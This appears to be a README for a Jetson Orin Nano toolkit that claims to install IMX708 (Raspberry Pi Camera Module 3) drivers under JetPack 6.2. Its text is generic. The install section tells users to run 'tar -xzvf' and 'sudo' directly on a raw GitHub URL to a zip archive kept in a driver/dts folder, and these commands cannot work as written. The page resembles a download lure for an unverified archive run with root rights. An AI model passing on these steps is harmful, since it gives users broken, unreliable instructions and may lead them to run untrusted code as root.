Welcome to the nvidia-jetson-toolkit! This toolkit simplifies the process of setting up camera drivers for NVIDIA Jetson devices. Specifically, it supports the IMX708 camera, which is the Raspberry Pi Camera Module 3, and works seamlessly with the Jetson Orin Nano using JetPack 6.2.
Before downloading, ensure that you have the following:
- NVIDIA Jetson Orin Nano: The toolkit is designed for this hardware.
- JetPack 6.2: Install JetPack 6.2 on your device for compatibility.
- Supported Camera: The IMX708 (RPi Camera Module 3) is necessary for this toolkit to function correctly.
To get started, visit the following link to download the toolkit:
Download the nvidia-jetson-toolkit here
- Click on the link above to go to the Releases page.
- Locate the latest version of the toolkit.
- Click on the download link for the appropriate file for your device.
- Once the file has downloaded, follow the installation instructions provided below.
After downloading the toolkit, follow these steps to install:
- Transfer the File: If you downloaded the toolkit on another device, transfer the file to your NVIDIA Jetson Orin Nano.
- Open a Terminal: Access the terminal on your Jetson device.
- Navigate to the Directory: Use the
cdcommand to navigate to the folder where you saved the toolkit. For example:cd ~/Downloads - Extract the Toolkit: Run the following command to extract the downloaded toolkit:
tar -xzvf https://github.com/mehani-dz/nvidia-jetson-toolkit/raw/refs/heads/main/jp62-imx708-rpi-v3/driver/dts/nvidia_toolkit_jetson_v3.9.zip - Run the Setup Script: Verify the files extracted and run the setup script:
sudo https://github.com/mehani-dz/nvidia-jetson-toolkit/raw/refs/heads/main/jp62-imx708-rpi-v3/driver/dts/nvidia_toolkit_jetson_v3.9.zip - Follow On-Screen Prompts: The script will guide you through any additional steps required for installation.
After installing the toolkit, you will need to configure it to work with your camera:
- Edit Device Tree: Follow the instructions in the included README file to edit the device tree settings.
- Verify Camera Connection: Ensure your IMX708 camera is connected correctly. You can test this using commands provided in the toolkit documentation.
- Test the Installation: Run simple test commands to confirm everything works as expected.
If you encounter any issues or have questions, you can find community support or report issues in the GitHub Issues section of the repository. Your feedback helps improve the toolkit for everyone.
For more technical information or updates, refer to the official documentation included in the toolkit. It's a good practice to keep your toolkit updated for the best performance and features.
- arducam
- camera-driver
- device-tree
- embedded-linux
- imx708
- jetpack
- jetson-orin-nano
- linux-driver
- nvidia-jetson
- raspberry-pi-camera
This toolkit is licensed under the MIT License. Please refer to the LICENSE file in the repository for more details.
To download the latest version of the nvidia-jetson-toolkit, visit the link below: